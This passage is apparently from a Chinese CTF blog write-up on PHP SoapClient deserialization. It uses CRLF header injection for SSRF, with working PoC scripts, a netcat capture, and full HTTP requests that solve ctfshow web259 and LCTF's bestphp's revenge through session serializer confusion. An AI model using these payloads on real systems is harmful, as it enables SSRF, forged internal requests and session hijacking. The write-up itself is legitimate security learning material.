第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
但是要知道的是既然我们是打ssrf
,那么wsdl
肯定是不开的
随便写个poc
1 2 3 4 5 6 7 <?php $a = new SoapClient (null ,array ('location' =>'http://27.25.151.48:2333/aaa' , 'uri' =>'http://27.25.151.48:2333' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
但是这样子的话利用效果仍然不大,仅仅只是触发恶意文件进行读取,但是如果还存在crlf漏洞的话,我们就可以插入HTTP头
1 2 3 4 5 6 7 8 <?php $target = 'http://ip:2333/' ;$a = new SoapClient (null ,array ('location' => $target , 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4" , 'uri' => 'test' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 root@dkcjbRCL8kgaNGz:~# nc -lvnp 2333 Listening on 0.0.0.0 2333 Connection received on ip 39598 POST /aaa HTTP/1.1 Host: ip:2333 Connection: Keep-Alive User-Agent: WHOAMI Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://27.25.151.48:2333#a" Content-Length: 385 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://27.25.151.48:2333" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
也是看到成功插入了,那么来看几个demo
ctfshow web入门 web259
flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 $xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
绕过这个三层IP限制就会写入文件
1 2 3 4 5 6 <?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
很明显的原生类啊
我们先绕过那个array_pop()
,本身相当于我们打入多个IP被解析为数组之后,我们再利用array_pop()
来移除数组的元素,再者来获取解析,所以写个demo
试验一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $_SERVER ['HTTP_X_FORWARDED_FOR' ] = '127.0.0.1,127.0.0.1' ;$xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );echo "解析出的 IP 地址是: $ip \n" ;
也就是成功绕过了,那么我们可以用SoapClient
增加任意http
头
写个poc
1 2 3 4 5 6 <?php $target ="http://127.0.0.1/flag.php" ;$UA ="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow" ;$b =new SoapClient (null ,array ('location' =>$target ,'user_agent' =>$UA ,'uri' =>"http://127.0.0.1/" ));$a =serialize ($b );echo urlencode ($a );
这里有个小细节就是\r\n
的解析问题,你如果写单引号的话是不能够正常解析的,而我Python写多了,就习惯写单引号了,所以折腾了一会
demo bestphp’s revenge
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$b = 'implode' ;call_user_func ($_GET ['f' ], $_POST );session_start ();if (isset ($_GET ['name' ])) { $_SESSION ['name' ] = $_GET ['name' ]; } var_dump ($_SESSION );$a = array (reset ($_SESSION ), 'welcome_to_the_lctf2018' );call_user_func ($b , $a );?>
flag.php
1 only localhost can get flag!session_start (); echo 'only localhost can get flag!' ; $flag = 'LCTF{*************************}' ; if ($_SERVER ["REMOTE_ADDR" ]==="127.0.0.1" ){ $_SESSION ['flag' ] = $flag ; } only localhost can get flag!
这里可以调用两个东西,那么看到session很容易猜到我们可以自己手动构造一个session反序列化漏洞,方便等会利用SoapClient
先写个poc
1 2 3 4 5 <?php $target ="http://127.0.0.1/flag.php" ;$b =new SoapClient (null ,array ('location' =>$target ,'user_agent' =>"bao\r\nCookie:PHPSESSID=baozongwi\r\n" ,'uri' =>"http://127.0.0.1/" ));$a =urlencode (serialize ($b ));echo "|" .$a ;
首先默认引擎是php
,我们设置成php_serialize
,同时写入请求等待触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A23%3A%22bao%0D%0ACookie%3Abaozongwi%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1 Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=4bi9mnfonhkrth0isn77b2u1k6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 31 serialize_handler=php_serialize
然后变量覆盖使得触发不存在的方法
1 call_user_func (call_user_func, array ('SoapClient' , 'welcome_to_the_lctf2018' ));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /?f=extract&name=SoapClient HTTP/1.1 Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=4bi9mnfonhkrth0isn77b2u1k6 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 b=call_user_func
最后根据session
特性,访问即可
1 2 3 4 5 6 7 8 9 10 11 GET / HTTP/1.1 Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=baozongwi Connection: close
就这样就可以了,中途还是有一点点绕,主要就是要想到这个session
和crlf
怎么联系在一起(通过session_id
),然后正常打ssrf就可以了,方法的触发也一会就想得到
利用时机 看了这么多demo,应该大概知道利用时机了吧,
比如说disable_function禁用函数过多,只能进行类的调用触发方法来达到目的,又或者说代码非常少,并且其中已经明显的看得出来能够触发那些特殊方法,再逆序寻找可利用的原生类
0x03 小结 原生类可以搞到这么多事情,同时其中也有部分的xss部分,但是我的xss暂时不是很擅长,可以说是提醒我了,学到了一些东西
0x04 Reference 网上的文章都有查阅,感谢师傅们!